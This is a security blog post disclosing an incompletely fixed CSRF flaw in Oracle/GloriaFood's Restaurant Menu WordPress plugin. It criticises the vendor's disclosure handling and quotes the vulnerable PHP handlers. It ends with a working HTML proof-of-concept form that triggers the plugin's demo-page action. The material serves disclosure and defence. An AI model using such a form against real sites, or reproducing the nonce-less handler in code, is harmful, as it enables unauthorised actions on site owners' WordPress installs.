As discussed in more detail in a separate post, the WordPress security provider Wordfence has been selling information to exploit unfixed vulnerabilities in a WordPress plugin with 10,000+ installs to any hackers willing to pay them $99, while claiming to engage in responsible disclosure. In looking into those vulnerabilities, we found that it isn’t the only company in the security business not looking great here.

The plugin in question doesn’t have a clear name. When installed in WordPress, it is labeled as “Menu – Ordering – Reservations”. On the WordPress Plugin Directory it is either named “Restaurant Menu” or “Restaurant Menu – Food Ordering System – Table Reservation”. Whatever the name is, it comes from GloriaFood, which is part of Oracle. Yes, that Oracle. The multi-billion dollar one. The one with a security business.

Hackers have had access to information on the vulnerabilities from Wordfence since the beginning of September and presumably Oracle has known about them since the same time frame. Despite that, it was only on October 3 that they tried to fix the vulnerabilities with version 2.3.1 of the plugin. They failed in two ways.

First, they failed to make the new version of the plugin available, so as of right now, the version being made available to install or update to through the WordPress Plugin Directory was still 2.3.0:

The other failure is that they only added a missing capabilities check in that version, but failed to add a nonce check to prevent cross-site request forgery (CSRF).

As of example that, which doesn’t create much risk to discuss, let’s look at code that creates a demo page for the plugin. That is made accessible to anyone logged in to WordPress through its AJAX functionality:

137

add_action( 'wp_ajax_glf_create_demo_page', array( $this, 'glf_create_demo_page' ) );

In version 2.3.0, there are no security checks done:

408
409
410
411
412
413
414
415
416
417
418
419

public function glf_create_demo_page() {
	$action = isset( $_POST[ 'action' ] ) ? $_POST[ 'action' ] : '';
	$data = $_POST[ 'data' ];
	$response = array( 'action' => $action );
	if ( $action === 'glf_create_demo_page' ) {
		Glf_Helper_Screens::create_demo_page();
		$response['url'] = Glf_Helper_Screens::get_demo_page_edit_url();
 
	}
	echo json_encode( $response );
	exit();
}

In version 2.3.1, that code has been modified to add a check using a new function glf_capabilities_check() before running the rest of the code:

438
439
440
441
442
443
444
445

public function glf_create_demo_page() {
	$action = isset( $_POST[ 'action' ] ) ? $_POST[ 'action' ] : '';
	$data = $_POST[ 'data' ];
	$response = array( 'action' => $action );
 
	if ( Glf_Utils::glf_capabilities_check() ) {
		Glf_Utils::glf_capabilities_check_failed( $response );
	}

That function only does a capabilities check:

616
617
618

public function glf_capabilities_check() {
	return (!(!empty( $_POST[ 'action' ] ) && current_user_can( 'manage_options' )));
}

An attacker could still cause someone who has the right capability to run the code without them intending, as there wasn’t a nonce check added.

This Isn’t How You Respond To Security Notifications

On Monday, we used the contact email listed for the plugin to notify the developers that they hadn’t provided the updated version and had failed to fully address the issue. The response we got back was this:

Within our system, independent security researchers can report security vulnerabilities at the following email address: secalert_us@oracle.com

IMPORTANT: Please be advised that the email address above is the only communication channel for reporting security vulnerabilities and any follow-ups on reported security vulnerabilities.

For more information on reporting security vulnerabilities, you may access the link below:

https://www.oracle.com/corporate/security-practices/assurance/vulnerability/reporting.html

We are not “independent security researchers”, so that wouldn’t be relevant to us. We also were not reporting a vulnerability, but letting them know they failed to fix a vulnerability that looks to have been already reported. Even ignoring that, that isn’t an appropriate response to a report that you haven’t addressed a security issue. No one is required to report a vulnerability to the developer, so they certainly don’t have a responsibility to handle routing communication internally for the developer.

Following the link mentioned there, takes you to a page with more of Oracle ‘sout of touch idea of handling security reports. This is their idea of responsible disclosure:

Oracle values the members of the independent security research community who find security vulnerabilities and work with Oracle so that security fixes can be issued to all customers. Oracle’s policy is to credit all researchers in the Critical Patch Update Advisory document when a fix for the reported security bug is issued. In order to receive credit, security researchers must follow responsible disclosure practices, including:

They do not publish the vulnerability prior to Oracle releasing a fix for it
They do not divulge exact details of the issue, for example, through exploits or proof-of-concept code

So their idea of responsible disclosure involves a vulnerability never being disclosed unless Oracle fixes it. Standard practice with responsible disclosure is to withhold disclosure for a limited period, say 30 days or until the vulnerability is fixed, whichever comes first. The reason for that is that it isn’t responsible to keep quiet about a vulnerability that the developer is choosing not to fix in a timely manner. Also, responsible disclosure wouldn’t restrict divulging details like they are suggesting.

In exchange for agreeing to terms that wouldn’t work for many of the people or companies reporting vulnerabilities, they would be given credit in a document. If they were offering bug bounties, onerous restrictions might be acceptable to some, but in exchange for credit, it is laughable to try to restrict things in that way.

So far Oracle hasn’t taken any further action, despite our notification to them that the problem hadn’t been addressed.

Proof of Concept

In version 2.3.0, the following proof of concept will cause the plugin’s demo page to be created, when logged in to WordPress.

In version 2.3.1, the following proof of concept will cause the plugin’s demo page to be created, when logged in as an Administrator.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="glf_create_demo_page" />
<input type="submit" value="Submit" />
</form>
</body>